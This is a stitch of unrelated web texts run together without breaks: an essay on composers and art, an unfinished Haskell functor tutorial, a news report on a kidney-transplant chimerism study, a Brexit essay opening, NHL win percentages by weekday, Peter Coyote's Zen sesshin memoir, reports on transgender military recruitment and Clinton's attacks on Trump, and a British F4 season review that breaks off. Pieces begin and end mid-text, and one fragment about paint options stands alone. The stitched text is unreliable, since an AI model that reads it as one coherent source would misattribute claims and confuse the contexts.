It requires a tremendous leap of faith to surrender control of our perception to someone else, on the off chance that they may offer us something we never knew we wanted but now would not want to be without. If we don't really believe in this possibility anymore -- in the inherent importance and transformative potential of art -- then why would anyone in their right mind take the risk?
Aspiring composers who make the irrational career choice I mentioned at the outset of this article still believe in the power and validity of art (or at least they have suspended their disbelief). If society leaves them no room for that belief, however, they may find that their already marginal position only gets worse. Just as environmentalists came to see that protecting the habitat of endangered species was crucial to saving them -- it wasn't just a question of stopping poachers -- we must realize that the choices we make now about culture and entertainment will determine the future of art.
If we could turn back the history of the human race and run it over again, I'm not sure that anything like the Western artistic tradition would happen twice. It seems like an aberration: a cultural form that serves no obvious function, does not appeal to most of the population, and is so expensive that it can never support itself. Yet this form of expression, which set a tiny handful of individual humans free to pursue their vision without regard to taste, understanding and practicality, has given us an astounding body of work.
One day we might wake up and find that all the young people who dreamed of becoming composers had done the calculation, seen that it was a poorly paid and undervalued profession, and gone into medicine, banking, management consulting or law. It's easy to assume that art has always been with us and always will be, but this is ultimately naïve. The classical repertoire cannot exist in a museum, without a continuing tradition.
As Igor Stravinsky said to Robert Craft in their book of conversations, "The crux of a vital musical society is new music," and this is true of all the arts. Art was the result of specific social conditions. If we eliminate its environment it will die, and no amount of cultural-studies dissertations on Britney Spears or pseudo-intellectual rhetoric about how all expression is equally valid will replace the works that no longer come into being.
In 1802, when his hearing was already beginning to degrade but before he was completely deaf, Beethoven wrote a letter intended for his brothers to read after his death. In this letter, which has come to be called the Heiligenstadt Testament, he bemoans his fate, but asserts his faith in art: "I would have ended my life -- it was only my art that held me back. Ah, it seemed to me impossible to leave the world until I had brought forth all that I felt was within me."
That was what pulled me and people like me into composing: the need to bring forth something within us. But what will artists do when everyone is bringing forth and no one is taking in? If artists are willing only to be the artists (or, in contemporary parlance, the content providers) and never the audience, if we as a society cannot give up control in return for a chance at an unexpected insight, if we refuse to take a risk on something new and unfamiliar, then there's no more place for art. What's the sense in being Beethoven if even those who can still hear won't take the trouble to listen?Functional Programming
Functional Programming is programming with functions. So much so obvious. But if the only thing you can do is creating and applying pure (side effect free) functions to jet more functions, how can you actually write useful programs? In imperative languages like C, every statement you write, changes the state of the program and often the state of the real world. So performing IO, which is nothing short of changing the state of the real world, is trivial.
How can functional languages do this. One possibility is to allow some functions to perform side effects. This is the approach of languages like Lisp. Another approach is to keep the language itself free of side effects, and outsource side effects into the type system. To make this practical, there needs to be mechanism to combine small effectfull computations into larger ones and eventually into whole applications that perform actual work. The mechanism that languages like Haskell use is Monads, a concept from category theory. In this series of posts I'll try to explain what monads are, how to use them in your code and how they solve the IO problem.
Functors
When you implement a data structure like lists or trees in Haskell, you might want to consider making that structure an instance of the typeclass functor. A functor is basically something you can map over. Lispers know about the map functions (mapcar, mapcan, maplist,...) that allow you to apply a function to every element in a list. In Haskell this concept works for every data structure that is a functor. Lets look at this implementation of a binary tree and its functor instance:Story highlights Study: Donor and recipient cells can coexist in one person
In some patients, the method tricked immune system into accepting donated kidney
When it works, patients become a sort of medical rarity called a chimera
This is only a preliminary study; more research needs to be done
By the time Lindsay Porter had her kidneys removed two years ago, they were bulging -- covered in cysts -- and together weighed 16 pounds.
Her abdominal area was so distended, "I looked nine months pregnant, and people regularly asked when I was due," Porter said.
As she prepared for a transplant to address her polycystic kidney disease, Porter, 47, had mixed feelings -- relief to have found a donor, tinged with resignation. She was looking forward to both a new kidney, and a lifetime on immune system-suppressing drugs.
"You get this brand new shiny kidney, and then they give you drugs that eventually destroy it," said Porter.
But that scenario may eventually change, if results of a new pilot study are replicated in a larger group of patients. The study, published Wednesday in the journal Science Translational Medicine, describes eight kidney transplant patients, including Porter, who received a stem cell therapy that allowed donor and recipient immune cells to coexist in the same body.
The effect, in a handful of those patients, was to trick the recipient's immune system into recognizing the donated kidney as its own.
When it works, patients become a sort of medical rarity called a chimera.
"Chimerism is a condition wherein two different genetic cell populations are present in the body, and both cell types are tolerated," said Dr. Anthony Atala, director of the Institute for Regenerative Medicine at Wake Forest Baptist Medical Center, who was not involved in the study, via e-mail.
"This has been the holy grail for solid organ transplantation for more than half a century," said Dr. Joseph Leventhal, a transplant surgeon at Northwestern Memorial Hospital and study co-author. "It has been an elusive goal to be able to do this in mismatched donor and recipient combos."
In order to circumvent the problems that come with a mismatched donor and recipient, researchers at Northwestern University and the University of Louisville harvest bone marrow stem cells from the kidney donor. Those stem cells are then subjected to an 18-hour process in the lab to remove problematic cells thought to be responsible for rejection.
"We developed a way to process bone marrow to take up bad cells and leave in good cells," said Dr. Suzanne Ildstad, a study co-author and director of the Institute of Cellular Therapeutics at the University of Louisville.
The stem cell concoction is then frozen and set aside for the kidney transplant recipient.
The next step for Porter and other patients involved in the study was to get a low dose of radiation and a drug cocktail. The combination effectively destroyed some of their own bone marrow to create room for the donor's stem cells to commingle with their own.
After the kidney transplant, patients receive an infusion of the concoction containing the donor's stem cells.
"By having these new cells in the bloodstream, it is like a draw at the OK Corral," said Atala, also chairman of the urology department at Wake Forest Baptist Medical Center. "Neither cell type in the bloodstream will attack the other and tolerance of the cells in the bloodstream, and also of the organ, occurs."
At least, that is what happened for Porter. After her transplant, she spent six months on a full slate of immune-suppressing drugs and then was slowly weaned off them. For the past seven months, she has been free of immune-suppressing drugs.
Another patient involved in the study has been off of immune-suppressants for two years, said Leventhal.
"I really do have to remind myself that I had the transplant," said Porter. "I feel so normal, and the more normal I feel, the more amazing the whole thing seems."
"To free someone from the specter of lifelong immunosuppression is very gratifying," said Ildstad, who has equity interest in a start-up biotech company involved in the study. "I'm getting more and more optimistic that we really will have impact on quality of life for transplant recipients."
Porter is among five patients for whom the stem cell therapy worked. The other patients involved in the study were not able to fully give up their anti-rejection drugs, but remain on a lower dose, according to Leventhal.
For the past seven months, Porter has not had to take any immune-suppressing drugs.
"It's another big step towards understanding how to achieve tolerance, so that's good," said Dr. Bryan Becker, spokesperson for the National Kidney Foundation and chief medical officer at the University of Illinois. "With that said, this is a lot to put a patient through. You're talking about the same type of treatment you'd give a patient who has leukemia.... That's not usual for a patient with kidney failure."
It is not known why the therapy works for some patients and not others. But the possiblity of offering a life without immune-suppressing drugs for the more than 100,000 patients awaiting organ transplants is what drives scientists like Ildstad and Leventhal.
"Immunosuppressants increase risk of cancer, certain infections and have other side effects," said Leventhal, an associate professor of surgery at Northwestern University Feinberg School of Medicine. "They can promote diabetes, hypertension and bone disease. They're toxins."
According to an editorial accompanying the study, if this method works for kidneys -- and other complex organs like the liver, heart and lung -- it could be a game-changer.
"Although only a taste of things to come, few transplant developments in the past half-century have been more enticing than these that put transplantation tolerance within our grasp," wrote James F. Markmann and Tatsuo Kawai, transplant experts at Massachusetts General Hospital.Last June, I voted to leave the European Union. I wasn’t an anti-EU fanatic but I was, despite my advancing years, still something of a green idealist. I had always believed that small was beautiful, that people should govern themselves and that power should be reclaimed and localised whenever possible. I didn’t think that throwing the people of Greece, Spain and Ireland to the wolves in order to keep bankers happy looked like the kind of right-on progressive justice that some of the EU’s supporters were claiming it represented.
So I voted to leave. I didn’t say anything about this before the vote and, despite being a writer, I didn’t write about it either. There was too much mudslinging on both sides already, and I didn’t want to throw any more or have any thrown at me. In any case, I didn’t have much to say.
The mudslinging, it turned out, was just a prelude to what would come next. The EU referendum, like the election of Donald Trump in the US five months later, and the Scottish independence question, newly reopened this week, tore the plaster off a pre-existing national wound that now began to bleed freely. All sorts of things bubbled up that had been suppressed for years, and everyone was suddenly taking sides. Some people, when I told them that I’d voted to leave, looked at me as if I’d just owned up to a criminal record. Why would I do that? |
various paint and carbon-fiber options.Is your favorite team playing the Habs soon? It’s better if it’s on a Friday. If you’re a Habs fan you would hope the team only plays on Thursdays. Why? The Habs’ worst win percentage is when game day is Friday. Their best win percentage comes on Thursdays.
I’ve assembled the win percentages for each team, by day of the week. The numbers cover all games from the 2003-2004 season all the way up until the October 27th games played in this season. This represents ~715 games of data for each club.
As a lifelong Habs fan I was certain the team lost more often on Saturdays than any other day of the week. I felt tortured week after week while watching them lose on Saturday nights. They seemed to try and lose specifically on that day, in any number of ways, on a nationally televised broadcast. Sitting with popcorn in hand and friends over to watch the game, I blamed it on the infamous Montreal nightlife. The players’ minds were elsewhere, thinking of post-game festivities. That’s hogwash of course, and the numbers confirm it. Their 49.5% win percentage on Saturdays is no worse than other days of the week.
Some things I’ve discovered.
Toronto has played 0 home games on a Sunday in the last 10 seasons. Toronto has only played 1 Friday home game in the last 10 seasons. Montreal has played 2. These are the result of maintaining the tradition of Saturday games in the Canadian markets. Highest total (Home and Road) winning percentage? Detroit on Wednesdays. 66.0% via 68 wins in 103 Wednesday games. Highest Home winning percentage? Excluding Toronto (1 win in only 1 game on Friday) and Montreal (2 wins in only 2 Friday games) it would be Anaheim on Mondays. 76.7% via 23 wins in 30 Monday games. Highest Road winning percentage? Boston on Thursdays. 66.7% via 24 wins in 36 Thursday games. Lowest total (Home and Road) winning percentage? Edmonton on Tuesdays. 32.0% via 41 wins in 128 Tuesday games. Lowest Home winning percentage? St. Louis on Wednesdays. 27.3% via 3 wins in 11 Wednesday games. Lowest Road winning percentage? Columbus on Mondays. 19.0% via 4 wins in 21 Monday games.
Number crunchers rejoice!
Overall, the numbers are hard to digest. I’m posting them all here for someone else to get more insight than I’ve provided above. Please share any interesting findings in the Comments section.
Below you can find 3 large tables with the day of the week data for Total (Road & Home) games (Table 1), Home only games (Table 2), and Road only games (Table 3). The number of games, number of wins, and winning percentage are available for each day of the week, for each of the 30 teams.
Table 1 of 3. Total (Home & Road) Win Percentages by Day of the Week
Scroll left and right using the slider at the bottom of the table to be able to see all data in the table. 15 teams are displayed for easier viewing and the other 15 can be viewed by selecting ‘Next’ at the bottom-right of each table. All columns of data are sortable by clicking on the column header.
[table id=237 /]
Table 2 of 3. Home Win Percentages by Day of the Week
Scroll left and right using the slider at the bottom of the table to be able to see all data in the table. 15 teams are displayed for easier viewing and the other 15 can be viewed by selecting ‘Next’ at the bottom-right of each table. All columns of data are sortable by clicking on the column header.
[table id=238 /]
Table 3 of 3. Road Win Percentages by Day of the Week
Scroll left and right using the slider at the bottom of the table to be able to see all data in the table. 15 teams are displayed for easier viewing and the other 15 can be viewed by selecting ‘Next’ at the bottom-right of each table. All columns of data are sortable by clicking on the column header.
[table id=239 /]
What can you uncover in the data? Comment below.Eeek! Eeek! Eeek! the bird cried. It! It! It! And the world as Peter Coyote had experienced it ended. Forty years after his first sesshin, the actor and writer finally gets the point of Zen.
The Rohatsu (Great Cold) sesshin—a week of intensive Zen meditation—takes place in early December ending on the eighth, the day commemorating Buddha’s enlightenment. At Green Gulch Zen Center, near my home on the fog-shrouded slopes of Mount Tamalpais in Northern California’s Marin County, meditation begins at 5:00 a.m. and lasts until 9:30 p.m. each day punctuated by service, meals, walking meditation, and two short rest periods. Talking, except for essential communication, is discouraged, as is eye contact and any behavior that might distract others from their concentration. It takes enormous collective effort to organize a sesshin, with volunteers cooking, serving, and maintaining the temple on behalf of those sitting. Consequently, great care is taken not to waste the opportunity or the gift of their service.
I knew none of this when I signed up for my first sesshin after only a year of meditating, sitting, at most, two forty-minute periods a day at the San Francisco Zen Center.
Nor did I know that in sesshin meals would be eaten in place at one’s sitting cushion, in the same painful cross-legged position one had been meditating in. They are served in a highly efficient manner, done precisely this way for hundreds of years. Each monk’s eating utensils—chopsticks, a wooden spoon, a cleaning apparatus called a setsu (resembling a doctor’s tongue depressor with a cloth pad sewed on the tip)—are laid across three nesting bowls called oryoki (meaning “just enough”)—covered by a napkin and cleaning cloth, the whole wrapped in a bandanna-sized cloth that, when unwrapped, is efficiently used as a place mat.
Because Buddhism is not precisely a religion like the Abrahamic trio—Christianity, Judaism, and Islam, (Buddha was a normal man—neither supernatural nor a prophet)—what appears to the uninitiated as prayers and worship of a deity are actually expressions of gratitude for the Buddha’s compassionate teachings. By the end of the first highly ritualized meal, I was convinced entirely too much gratitude was being displayed and began wishing harm on the officiant whose changes and offerings had to end before I would be allowed to leave my seat and mercifully straighten my paralyzed legs.
There were chants of thanks when food was offered, chants after it was served, and more when the first bowl was raised. Before the servers entered bearing the food, the wooden bar in front of the sitters’ places had to be cleaned. A damp towel was introduced and then either passed from hand to hand down the length of the room, or if one was graced with an elevated seat, propelled by a runner racing down the aisle between sitters scrubbing the “table” (the edge of the raised platform) as he went.
The servers moved quickly, but no matter how efficient they were, I wanted to scream with frustration, impatience, and pain, because until the meal is over and one’s bowls washed and put away and the last chanted syllable uttered, you cannot rise from your seat. Furthermore, it is an arduous and delicate maneuver to change the position of crossed, cramped, insensate legs without sending the delicate bowls in front of you skittering into the lap of the person facing you. The frustration was akin to being trapped behind a comatose driver at a stoplight that changes once an hour for twenty seconds while the moron in front of you misses it while texting. Imagine this occurring repeatedly, over and over again while you are on fire, and you’ll have a clear idea of my state of mind.
This was day one. By 7:00 a.m. I had forgotten that I had chosen to be there because I was desperate for help.
Every task proceeded at its own proper (agonizing) pace. You cannot simply eat, wash your bowl, and leave to go fart and pick your teeth. At the signal of clacking wooden sticks we wait while the food is brought into the zendo, served into each outstretched bowl, (the serving bracketed by stately bows) and then, before it can be touched, a complex grace is offered reminding us where the Buddha was born, taught, and died, and what virtues each portion in our bowls is dedicated to. Then, (still on fire) we are asked to consider “whether our virtue and practice deserve this offering” of food. I was deranged with discomfort and frustration at the slowness, the waiting, the ritualized cleaning of the bowls and the collection of the last scraps of food for “the hungry ghosts.” (“Fucking ants! They’re feeding ants while I’m dying here!”) All of these ritual steps inserted between my wretched self and the post-meal relief I desperately needed. I was furious. Every cell in my body was intent on inhaling my food as quickly as possible so that I could flee the zendo and straighten my legs. This was day one. By 7:00 a.m. I had forgotten that I had chosen to be there because I was desperate for help.
It’s quite normal in sesshin for the knees to be in pain, and the muscles in the upper back and shoulders to be burning with tension or even in spasm. It matters not. The pace of meals and services is glacial, and from my perspective that day, pitiless. The older monks sat quietly erect and maddeningly patient with no evidence of discomfort. By the second period of zazen, compounding my discomfort with embarrassment, my body began shaking violently, twitching and jerking as if I were experiencing a grand mal seizure. After awhile the shaking enervated my muscles and made me gasp for breath. It was distracting, exhausting, and embarrassing. The monks on either side of me resembled oil paintings while I writhed and flapped like a landed fish between them. Restarting my recently abandoned use of heroin began to appear tantalizingly preferable to another sixty seconds of Zen.
In such a situation one is forced face-to-face with one’s body and mind and their discomforts. There are no distractions and no places to hide. There is no way to pretend that your suffering is not occurring nor is there any way to philosophize it away. The sesshin demands everything you have and then takes a big gulp of more. An old Zen adage states, “Pain in the legs is the taste of zazen.”
I felt feather-light and momentarily problem-free; as if the back of my head had disappeared and the space behind my eyes opened out onto the universe. Before me, the world was extraordinarily vivid and alive
Even after a year of regular zazen, I was completely unprepared for the rigor and determination required by a sesshin. By lunch of the second day, my body was trembling and shaking and tears were spilling over the edges of my eyes. “I can’t do this,” I thought. “I have to get out of here.” Internal narratives chronicling previous failures and self-betrayals were flashing like neon signs in my psyche and I began rehearsing excuses that might offer me the excuse to flee; anything that would afford me the opportunity to rise from this odious, smug, self-satisfied cushion, and move spontaneously again.
Unfortunately for my craven and indulgent self, I was pinioned firmly in place by pride. There were a number of Zen students in the sesshin whom I had previously dismissed as fools, certain that my spiritual development exceeded theirs by a comfortable margin. I would never be able to maintain this imagined sense of superiority if I crawled out of the zendo on the second day; my ego dictated that I stay put.
Miraculously, near the end of the third day, my physical pains began to diminish. Though still shaking, I could investigate the pain in my knees more attentively, and noticed how that investigation actually changed the quality of the pain. I still shook and twitched, but a certain amount of the emotional charge that shaking carried diminished as well. It was simply shaking.
On the very last day’s break period, walking up the dusty road in a high, chilled wind, I had the distinct feeling that the entire center of my body had disappeared or become transparent. I could feel the wind whistling through it. I felt feather-light and momentarily problem-free; as if the back of my head had disappeared and the space behind my eyes opened out onto the universe. Before me, the world was extraordinarily vivid and alive, shimmering intensely. I had not taken a drug and yet I was truly “high.” I thought, “This is nice! I’m gonna check Zen out a little further.” Forty years later I’m still checking.
In the first week of December 2009, I was sixty-eight years old. Infirmity and dying were in the forefront of my mind. Forty-five years earlier I had contracted Hepatitis C from shooting drugs. It had remained undiagnosed until the late 1990s, by which time the disease had been conscripting and destroying my liver cells for all those years.
My youth had left, snatching as it exited the firm outlines of my body and my once distinct jaw and un-creased neck. The backs of my hands were dotted with liver spots, and shadows pooled below my eyes. My stamina had diminished and like most people who have aged beyond the notice of today’s youthful diversions, my acting career had settled into a stasis with no promise of any breakthroughs pending. Sickness, old age, and death had become tangible to me in ways that had been only romantic posturing in my twenties.
It was now incontrovertible that in a conceivable future, everything I held dear, every memory and achievement, every treasure, including my own body, would be stripped from me. That is the central, unavoidable fact of human existence (and a fundamental tenet of Buddhism) and when it changed from a notion into a certainty, my perspective changed with it, particularly my ideas about time. Looking backwards, the lengthening succession of dead friends and family disappeared into emptiness like a black thread being unspooled into a tub of ink. The only uncertainty in my future was speculation about how savagely sickness, old age, and death would claim their due. With these thoughts as unpleasant companions, I decided to sit another seven-day sesshin. It was December again, time for Rohatsu, the Great Cold sesshin.
Sesshins are always rough, and the first three days were particularly difficult this year. Though my shaking and convulsions had subsided many years before and I could sit as solidly as those senior monks I’d once envied, my body was forty years older. The pain in my knees was intense, debilitating, and distracting to the degree that during a private audience with my teacher in the middle of the third day, I confessed to him that I would have to leave the sesshin because I could not bear the pain any longer.
He was mildly critical of me for not paying closer attention to my body and for trying to bull my way through. “You’re nearly seventy,” he said. “It’s hard to admit that all your cards are on the table now and that you have none left to draw. You’ll have to play the ones you have as best you can. That is the central fact of your existence. That is reality and you’ll have to adjust to that. You are living what we mean when we say, ‘seeing without delusion.’ You only have one set of knees and you need to take care of them. If you have to sit in a chair, sit in a chair. Don’t cripple yourself trying to be tough or refusing to recognize the reality of your body or your age.”
He was correct of course and had pinpointed the underlying depression amplifying my physical pain. After our conversation, I began alternating meditation periods between my cushion and a chair, calculating backwards from mealtimes so that the meditation period before a meal (which I preferred to take on my cushion) was done in a chair. This relieved the stress on my knees and the consequent reduction of pain allowed me to refocus and dedicate my efforts wholeheartedly. I aligned myself to the schedule without resistance, and was able to focus my concentration on a question that had arisen for me on the sesshin’s first day.
It was a simple question I had condensed into a short mnemonic phrase—“What is it?”—mental shorthand for the larger question—“What is it I’m missing or still searching for?” By the end of day four I was completely absorbed by it. My question accompanied each inhale and exhale, and resided within me, simmering on a back burner, whether meditating, walking, or eating. It floated through my dreams.
On the sixth day, in the late afternoon, the light outside was thinning and we began a period of rapid kinhin (walking meditation). Our route began by exiting a side door, circumambulating the rough porch girding the building, reentering through the door at the opposite corner, threading a path through the zendo and out the first door again. The wood underfoot was bracingly cold and its rough texture stimulating; the rapid walking increased my circulation and alertness and was a balm to my sore joints and muscles. The afternoon fog, creeping in from the ocean, was obscuring the edges of the hills, sending tendrils slithering through the grass like a vigorous living entity.
I had just stepped out the door onto the porch. Perhaps it was the second or third round, but I had just begun my course down the building’s long side. I remember that my hands were folded formally against my navel and my gaze was unfocused, and I remember a portion of the swishing black robe and flashing heels of the person in front of me. Several paces after passing through the door, a bird began to shriek from very nearby. It was as loud and startling as if it was sitting on my shoulder, and its plaint was unrelenting. Today, I know it was a Camp Jay, but I wasn’t aware of that at the moment because my concentration was purloined by my question, and the bird’s shriek was an irritant.
The world was perfect, without time, eternal, and coming and going as it had always been.
Eeek! Eeek! Eeek! Eeek! Eeek! it cried—strident, insistent, obliterating all thought. Suddenly, in that momentary emptiness, its cries were transformed and I heard them as It! It! It! It!—the indisputable answer to my question. I took one more step and the world as I had always experienced it ended.
I cannot describe what happened next because in that instant language and thought fell entirely away from my existence. The boundaries between “in here” and “out there” disappeared. The world remained recognizable, as it had always been, but completely stripped of descriptive language and concepts. Everything appeared to be a phantom of itself, luminous but without weight or substance. “I” had been replaced. The closest I can come to describing what I felt was an awareness with no physical location, inseparable from the entire universe. Everything was precisely as it had come to be. The world was perfect, without time, eternal, and coming and going as it had always been. Every doubt that I had ever harbored about Zen practice fell away. The timid fearful self I had been defending, aggrandizing, comforting, and trying to improve for my entire life had been relieved of duty and everything was fine without him. There was nothing I had to “do.” I knew irrefutably that this was what I had been searching for since I first picked up a book about Zen when I was sixteen years old.
In the next instant, I understood that it was not all that important.The Trump administration is asking a federal judge to delay a requirement to begin accepting transgender recruits to the military on Jan. 1.
“Specifically, Defendants request that the Court stay the portion of its preliminary injunction requiring Defendants to begin accessing transgender individuals into the military on January 1, 2018, pending a decision by the D.C. Circuit on Defendants’ appeal,” the government wrote in a motion filed late Wednesday.
The administration and the plaintiffs have asked for a decision by noon Monday.
ADVERTISEMENT
In October, Judge Colleen Kollar-Kotelly of the U.S. District Court for the District of Columbia blocked President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s ban on transgender troops while a lawsuit against it works its way through court.
Last month, after a motion by the Trump administration, Kollar-Kotelly issued a follow-up ruling clarifying the earlier one that said the military must accept transgender recruits by Jan. 1, as it had planned to do prior to Trump’s ban.
In July Trump tweeted that he would ban transgender people from serving in the military in any capacity.
He made good on the tweets in August, signing a presidential memo that prohibits the military from enlisting transgender people and from using funds to pay for gender transition-related surgery. The memo also gave Defense Secretary James Mattis James Norman MattisTrump backs off total Syria withdrawal Grass-roots campaign backs Mattis for public office Overnight Defense: Dems tee up Tuesday vote against Trump's emergency declaration | GOP expects few defections | Trump doubles number of troops staying in Syria to 400 MORE six months to determine what to do with currently serving transgender troops.
The National Center for Lesbian Rights and GLBTQ Legal Advocates & Defenders sued in August on behalf of six unnamed service members and two recruits.
After Kollar-Kotelly’s rulings, the Pentagon said it was preparing to comply and accept transgender recruits by Jan. 1 even as the administration explores its legal options.
“While reviewing legal options with the Department of Justice, the Department of Defense is taking steps to be prepared to initiate accessions of transgender applicants for military service on January 1, 2018, per recent court orders,” Pentagon spokesman Army Maj. Dave Eastburn said in a statement to several news outlets this week.
But in Wednesday’s motion, the administration argued that it will be “seriously and irreparably harmed if forced” to implement the policy by Jan. 1.
“Given the complex and multidisciplinary nature of the medical standards that need to be issued and the tens of thousands of geographically dispersed individuals that need to be trained, the military will not be adequately prepared to begin processing transgender applicants for military service by January 1, 2018, and requiring the military to do so may negatively impact military readiness,” the motion said.
The motion also argued that the plaintiffs will not be negatively affected by a delay because the two recruits in the suit will not be eligible to join the military until May 2020 and spring 2021.
In a sworn statement included in the motion, Lernes Hebert, acting deputy assistant secretary of Defense for military personnel policy, added that accepting transgender recruits by the new year would “impose extraordinary burdens” on the Pentagon by needing to prepare 20,367 recruiters, 2,785 employees across 65 Military Entrance Processing Stations, 32 service medical waiver authorities and personnel at nine boot camps.
“Beyond the sheer number of components and personnel involved, the implementation of accessions criteria is itself a complex undertaking,” he wrote.
“In the case of the transgender accession standards, the standards themselves are complex, interdisciplinary standards necessitating evaluation across several systems of the body, to include behavioral and mental health (e.g. diagnosis of gender dysphoria or related comorbidities), surgical procedures (particularly thoracic and genital), and endocrinology (for the purposes of cross-sex hormone therapy). No other accession standard has been implemented that presents such a multifaceted review of an applicant’s medical history.”
Brad Carson, a former Pentagon official who worked on the Obama administration's transgender military policy, refuted the Trump administration's arguments.
"The Pentagon had already done most of the preparation and training in anticipation of the lifting of the accession ban before the presidential transition, so to claim that the military is not ready to lift the ban now seems a stretch," he said in a statement released by the Palm Center.Hillary Clinton is attacking Donald Trump’s business record with both politics and policy.
On Thursday, the presumptive Democratic nominee unveiled a short video featuring an architect who says he was not paid in full by Trump after designing the clubhouse at the Trump National Golf Club in Westchester, New York.
At the same time, the Clinton campaign unveiled a proposal to increase legal protections for small businesses like the architect that are harmed by large companies and increase federal regulatory enforcement of big businesses that do not pay contractors.
Both hits build on a weeks-long effort by Clinton to portray Trump as a businessman who stiffed workers and damaged small businesses. Clinton on Wednesday delivered a speech outside Trump’s now-abandoned Taj Mahal hotel in Atlantic City, where many contractors complained that they were not paid and some went out of business.
“He didn’t just take advantage of investors. He took advantage of working people as well,” Clinton said on Wednesday. “Painters, waiters, plumbers – people who needed the money they earned, and didn’t get it – not because Donald Trump couldn’t pay, but because he wouldn’t pay.”
Trump has defended his business and four bankruptcies in Atlantic City between the early 1990s and 2009 by saying that the Democratic-controlled local government imposed burdensome regulations, and pointing to the money that he made in the city.
Meantime, Clinton’s policy rollout on Thursday was clearly also directed at Trump, who is referenced several times in a fact sheet from an aide. The policy calls for giving agencies like the Federal Trade Commission and Department of Justice authority to investigate patterns of misconduct and finding measures for small businesses to seek relief, through increased damages for small businesses’ attorney’s fees or a new private right to sue under federal law. More oversight, according to Clinton’s plan, would lead to better identification of “bad actors.”
Clinton’s plan would also expedite payments to federal contractors so that businesses doing work by the government are paid more quickly than the 30 days currently required, and disadvantage federal contractors in bidding that don’t pay small businesses promptly. She would also provide more capital for small businesses including $20 billion in annual loans and reduce fees for loans in poorer communities.
Trump would presumably be subject to federal scrutiny under the new guidelines. “Hillary Clinton believes it is outrageous when big businesses like Donald Trump’s build their fortunes by repeatedly stiffing the small businesses that do work for them,” the Clinton campaign fact sheet says.
The video the Clinton campaign released features architect Andrew Tesoro, who designed the Trump National Gold Club. The advertisement plays on the fact that the clubhouse was where Trump in June said that he would “be America’s champion;” meanwhile, Tesoro says in his testimony that the clubhouse is also where he was told he would not be paid in full for his services.
“Here he is in the very ballroom where I got bullied out of many thousands of dollars, making promises that are just like the promises that he made to me and didn’t keep,” Tesoro said.
Clinton’s targeting of Trump’s business record will continue to be a central theme of the election, one that her campaign continues to push as Republicans seek to turn the attention to her misuse of classified information on her email server.
Contact us at editors@time.com.In its three years of existence, the FIA-sanctioned British Formula 4 championship has seen a huge number of stars pass through its doors.
The 2015 and 2016 champions Lando Norris and Max Fewtrell were snapped up by the McLaren and Renault Formula 1 teams after their successes, while Ricky Collard and Dan Ticktum have also become important members of BMW and Red Bull’s junior programmes.
2015 race-winners Matheus Leist and Colton Herta have firmly established themselves in America, with Leist stepping up to IndyCar next year.
This year’s group of drivers will be looking to repeat the future successes of 2015 and 2016’s field, and there are certainly a number of drivers who are well capable of it.
Beyond the number of future stars, there was another, bigger, story to this year’s championship: Billy Monger’s crash, aftermath and recovery.
The 18-year-old lost both of his lower legs in the second round of the season at Donington Park when he rear-ended the stationary car of Patrik Pasma, but an incredible show of strength by Monger, in addition to the good will and support of the motorsport community and beyond, meant he was already back in a racing car less than three months after his crash.
Monger is aiming to return to racing single-seaters soon, and already has a drive lined up for the 2020 Le Mans 24 Hours.
Jamie Caroline ENGLAND Carlin
1st in standings, 442 points (10 wins, 4 poles, 6 fastest laps)
Caroline, in his second season in single-seaters and fourth on the TOCA support package, had to dominate. And he did.
Finally with a top team, he utilised the tools at his disposal to absolutely crush the opposition in the first third of the season. He won eight of the first ten races, including a historic triple at Thruxton, dediciated to good friend and rival Billy Monger, and amassed a 103 point lead.
Even when he was not the fastest in qualifying, his superior racecraft meant he didn’t take long to get to the front, and usually made it look either easy, or spectacular.
He crashed out of the next race, and from that point on his season wasn’t the same. Carlin were unable to find what, if anything, was wrong with the car, as Caroline started to struggle for pace.
He was a guaranteed presence in the points though, and although his lead shrank dramatically, his title was never really under threat.
The two wins he collected in the second half of the season also meant he broke the all-time wins record for the championship, and leaves the category with a big reputation.
Multiple categories are under consideration for next year, with a move to Euroformula Open looking most likely at the moment.
Oscar Piastri AUSTRALIA Arden
2nd in standings, 376.5 points (6 wins, 6 poles, 5 fastest laps)
Looking at Piastri’s experience compared to Caroline’s, it’s remarkable that the Australian even came close to matching, or beating the champion.
Piastri made his car racing debut in F4 UAE in the winter of 2016/17, then joined the British championship with little experience of the circuits or car being used.
In pre-season testing he was immediately on it, topping many of the sessions and setting himself up as one of the favourites to challenge Caroline.
It wasn’t until the fourth round of the season at Oulton Park that he stood on the top step of the podium, but was on it another four times after that, and outscored Caroline over the second half of the season.
His slim championship hopes collapsed at Rockingham, where a solitary point and a clash with Caroline undid a lot of the hard work he had done in reducing the points gap to the championship leader.
Second place in the standings was still hugely impressive, and the gap of 20.5 points to third-placed Logan Sargeant underplays how thoroughly Piastri outperformed his F4 UAE rival.
“The season’s gone pretty good, considering it’s my first full season in cars,” said Piastri.
“I couldn’t really have asked for a whole lot more except for P1.”
Piastri is a member of Arden’s young driver programme and will step up to Formula Renault next year with the team.
Linus Lundqvist SWEDEN Double R Racing
5th in standings, 306.5 points (5 wins, 5 poles, 9 fastest laps)
2016 FSTCC Nordic champion Lundqvist was one of the most exciting drivers on the British F4 grid, and more often than not, one of the more mistake prone.
His attacking approach meant that many points went amiss, which was frequently despite and because of his brilliant charges through the field.
Five poles, nine fastest laps and a ferocious testing pace showed that on raw pace he was one of the best, and although all of his fastest laps came from top five finishes, he was still near or at the top on sector times on the occasions he failed to score a large number of points.
Lundqivst was also another to be struck by engine issues, and it rendered his opening weekend entirely void. His lack of mileage at Brands Hatch proved not to be an issue, as when the championship returned to the venue at the end of the season he took a win and a second.
His most impressive turn was probably at the second round of the season at Donington Park. Helped by a brand new engine to replace his faulty unit from Brands Hatch, he took a double pole and a win, and finishing second to Caroline in the other non-reversed grid encounter.
Another highlight was Croft, where he obliterated the field in qualifying and then won two of the races.
“Looking overall at the season it’s been pretty good,” said Lundqvist.
“We had some very bad weekends and some very good weekends as well, and I think throughout the season we’ve shown that we have very good pace.
Had Lundqvist not have lost the entirety of the first weekend of the season, he would’ve easily overturned the point gap to Quinn in the standings, and quite possibly have beaten Sargeant to third too
“I think we could have done a bit better looking back at everything, but it is what it is.”
Lundqivst made his British F3 debut with Double R during the year, and after the season ended did some testing in the team’s Dallara F3 car. Double R is moving into EF Open next year, and Lundqvist would do well to follow them, although British F3 looks like the more likely option.
Alex Quinn ENGLAND Arden
4th in standings, 307 points (4 wins, 2 poles, 4 fastest laps)
